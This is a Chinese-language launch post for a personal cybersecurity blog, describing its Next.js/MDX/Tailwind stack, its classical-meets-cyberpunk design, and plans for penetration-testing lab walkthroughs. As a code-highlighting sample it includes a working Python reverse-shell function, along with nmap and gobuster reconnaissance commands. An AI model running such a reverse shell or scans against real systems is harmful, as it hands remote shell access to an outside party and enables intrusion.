← 返回文章列表
随笔
2024-12-01
3 min read

墨韵初启:博客系统上线

缘起

工欲善其事,必先利其器。

作为一名网络安全从业者,我一直在寻找一种方式来记录自己的学习与实战经历。这个博客便是我的「数字武林秘籍」——以古风之韵,载赛博之道。

技术选型

博客基于以下技术栈构建:

  • Next.js 16 — React 全栈框架,支持 SSR/SSG
  • MDX — Markdown + JSX,让文章更具表现力
  • Tailwind CSS — 原子化 CSS,快速实现古风设计
  • Shiki — 代码高亮,支持多种主题

为什么选择 MDX?

MDX 让我可以在 Markdown 中嵌入 React 组件,比如交互式的代码演示或自定义的信息卡片。同时,它保持了 Markdown 的简洁写作体验。

代码示例

一个简单的 Python 反弹 Shell:

terminal
import socket
import subprocess
import os
 
def reverse_shell(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])

在终端中使用 Nmap 扫描:

terminal
# 快速扫描常见端口
nmap -sC -sV -oN scan.txt 10.10.10.1
 
# 全端口扫描
nmap -p- --min-rate 5000 10.10.10.1

内联代码

可以使用 nmap -sV 进行服务版本探测,或者用 gobuster dir -u http://target -w wordlist.txt 进行目录扫描。

设计理念

本站的设计融合了两种看似矛盾的美学:

  1. 古风(中国传统美学) — 朱红、鎏金、水墨色调,衬线字体,云纹装饰
  2. 赛博朋克 — 终端风格、矩阵绿、毛玻璃效果、几何角饰

这种碰撞产生了独特的视觉语言,正如网络安全本身——在古老的攻防博弈中运用现代技术。


未来计划

  • 持续更新 HTB / Vulnlab 靶机攻略
  • 分享 OSCP 备考心得与技巧
  • 探讨 Web 安全、内网渗透等专题
  • 开源工具与脚本分享

路漫漫其修远兮,吾将上下而求索。